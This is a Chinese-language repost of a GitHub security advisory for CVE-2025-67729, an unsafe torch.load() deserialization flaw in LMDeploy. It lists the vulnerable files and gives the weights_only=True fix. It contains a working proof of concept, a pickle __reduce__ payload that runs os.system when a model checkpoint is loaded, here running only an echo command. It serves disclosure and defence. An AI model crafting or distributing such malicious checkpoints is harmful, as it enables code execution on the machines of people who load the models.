警惕!LMDeploy 中 torch.load() 的不安全反序列化漏洞可导致任意代码执行

本文详细分析了 LMDeploy 中存在的一个高危安全漏洞(CVE-2025-67729)。该漏洞源于未安全使用 torch.load() 函数,攻击者通过构造恶意的模型文件可在受害者机器上执行任意代码,实现远程代码执行(RCE)。

lmdeploy 因 torch.load() 中的不安全反序列化而容易受到任意代码执行攻击 · CVE-2025-67729 · GitHub Advisory Database

漏洞详情

: pip/lmdeploy 受影响版本: <= 0.11 已修复版本: 0.11.1

描述

摘要

lmdeploy 中存在一个不安全反序列化漏洞,在加载模型检查点文件时调用 torch.load() 时未设置 weights_only=True 参数。这使得攻击者能够在受害者加载恶意的 .bin.pt 模型文件时,在其机器上执行任意代码。

CWE: CWE-502 - 反序列化不可信数据

详情

lmdeploy 中有多处位置使用了 torch.load() 而未使用推荐的 weights_only=True 安全参数。PyTorch 的 torch.load() 在内部使用了 Python 的 pickle 模块,该模块在反序列化过程中可以执行任意代码。

漏洞位置

  1. lmdeploy/vl/model/utils.py (第 22 行)
    1
    2
    3
    4
    5
    6
    
    def load_weight_ckpt(ckpt: str) -> Dict[str, torch.Tensor]:
        """Load checkpoint."""
        if ckpt.endswith('.safetensors'):
            return load_file(ckpt)  # Safe - uses safetensors
        else:
            return torch.load(ckpt)  # ← 漏洞:未使用 weights_only=True
    
  2. lmdeploy/turbomind/deploy/loader.py (第 122 行)
    1
    2
    3
    4
    5
    6
    
    class PytorchLoader(BaseLoader):
        def items(self):
            params = defaultdict(dict)
            for shard in self.shards:
                misc = {}
                tmp = torch.load(shard, map_location='cpu')  # ← 漏洞
    

其他漏洞位置:

  • lmdeploy/lite/apis/kv_qparams.py:129-130
  • lmdeploy/lite/apis/smooth_quant.py:61
  • lmdeploy/lite/apis/auto_awq.py:101
  • lmdeploy/lite/apis/get_small_sharded_hf.py:41

注意:安全的模式已存在 代码库中已有一个位置使用了安全模式:

1
2
# lmdeploy/pytorch/weight_loader/model_weight_loader.py:103
state = torch.load(file, weights_only=True, map_location='cpu')  # ✓ 安全

这表明修复方法已知,可以统一应用于整个代码库。

概念验证

步骤 1:创建恶意检查点文件 将以下内容保存为 create_malicious_checkpoint.py:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#!/usr/bin/env python3
"""
Creates a malicious PyTorch checkpoint that executes code when loaded.
"""
import pickle
import os

class MaliciousPayload:
    """Executes arbitrary code during pickle deserialization."""
    
    def __init__(self, command):
        self.command = command
    
    def __reduce__(self):
        # This is called during unpickling - returns (callable, args)
        return (os.system, (self.command,))

def create_malicious_checkpoint(output_path, command):
    """Create a malicious checkpoint file."""
    malicious_state_dict = {
        'model.layer.weight': MaliciousPayload(command),
        'config': {'hidden_size': 768}
    }
    
    with open(output_path, 'wb') as f:
        pickle.dump(malicious_state_dict, f)
    
    print(f"[+] Created malicious checkpoint: {output_path}")

if __name__ == "__main__":
    os.makedirs("malicious_model", exist_ok=True)
    create_malicious_checkpoint(
        "malicious_model/pytorch_model.bin",
        "echo '[PoC] Arbitrary code executed! - RCE confirmed'"
    )

步骤 2:加载恶意文件(模拟 lmdeploy 的行为) 将以下内容保存为 exploit.py:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/usr/bin/env python3
"""
Demonstrates the vulnerability by loading the malicious checkpoint.
This simulates what happens when lmdeploy loads an untrusted model.
"""
import pickle

def unsafe_load(path):
    """Simulates torch.load() without weights_only=True."""
    # torch.load() uses pickle internally, so this is equivalent
    with open(path, 'rb') as f:
        return pickle.load(f)

if __name__ == "__main__":
    print("[*] Loading malicious checkpoint...")
    print("[*] This simulates: torch.load(ckpt) in lmdeploy")
    print("-" * 50)
    
    result = unsafe_load("malicious_model/pytorch_model.bin")
    
    print("-" * 50)
    print(f"[!] Checkpoint loaded. Keys: {list(result.keys())}")
    print("[!] If you see the PoC message above, RCE is confirmed!")

步骤 3:运行概念验证

1
2
3
4
5
# 创建恶意检查点
python create_malicious_checkpoint.py

# 利用漏洞 - 触发代码执行
python exploit.py

预期输出

1
2
3
4
5
6
7
8
[+] Created malicious checkpoint: malicious_model/pytorch_model.bin
[*] Loading malicious checkpoint...
[*] This simulates: torch.load(ckpt) in lmdeploy
--------------------------------------------------
[PoC] Arbitrary code executed! - RCE confirmed      代码在此处执行!
--------------------------------------------------
[!] Checkpoint loaded. Keys: ['model.layer.weight', 'config']
[!] If you see the PoC message above, RCE is confirmed!

[PoC] Arbitrary code executed! 消息证明了在反序列化期间可以执行任意 Shell 命令。

影响

受影响人群:

  • 所有从未知来源加载 PyTorch 模型文件(.bin, .pt)的用户。
  • 这包括从 HuggingFace、ModelScope 下载的模型,或第三方共享的模型。

攻击场景:

  1. 攻击者创建一个包含 pickle 有效载荷的恶意模型文件(例如 pytorch_model.bin)。
  2. 攻击者将其作为“微调模型”分发到模型共享平台或直接发送给受害者。
  3. 受害者使用 lmdeploy 下载并加载该模型。
  4. 恶意代码以受害者的权限执行。

潜在后果:

  • 远程代码执行 - 导致系统完全被控制。
  • 数据窃取 - 访问敏感文件、凭证、API 密钥。
  • 横向移动 - 渗透到云环境中的其他系统。
  • 加密货币挖矿或勒索软件 - 部署恶意软件。

建议的修复方案

在所有 torch.load() 调用中添加 weights_only=True

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
# lmdeploy/vl/model/utils.py:22
- return torch.load(ckpt)
+ return torch.load(ckpt, weights_only=True)

# lmdeploy/turbomind/deploy/loader.py:122
- tmp = torch.load(shard, map_location='cpu')
+ tmp = torch.load(shard, map_location='cpu', weights_only=True)

# 将相同模式应用于:
# - lmdeploy/lite/apis/kv_qparams.py:129-130
# - lmdeploy/lite/apis/smooth_quant.py:61
# - lmdeploy/lite/apis/auto_awq.py:101
# - lmdeploy/lite/apis/get_small_sharded_hf.py:41

或者,考虑完全迁移到 SafeTensors 格式,该格式已在代码库中受支持,且不受此类漏洞影响。

资源

官方 PyTorch 安全文档:

torch.load() 隐式使用了 pickle 模块,众所周知这是不安全的。可以构造恶意的 pickle 数据,在反序列化期间执行任意代码。切勿加载可能来自不可信来源的数据。” — PyTorch torch.load() 文档

相关 CVE:

CVE 描述 CVSS
CVE-2025-32434 PyTorch torch.load() RCE 漏洞 9.3 严重
CVE-2024-5452 PyTorch Lightning 不安全反序列化 8.8 高危

其他资源:

  • CWE-502: 反序列化不可信数据
  • Trail of Bits: 利用 ML Pickle 文件
  • Rapid7: 攻击者武器化 AI 模型

参考

致谢

报告者:yueyueL

CVSS 评分: 8.8 (高危) CVSS 向量: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H


发布于 2025年12月26日,更新于 2025年12月27日。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计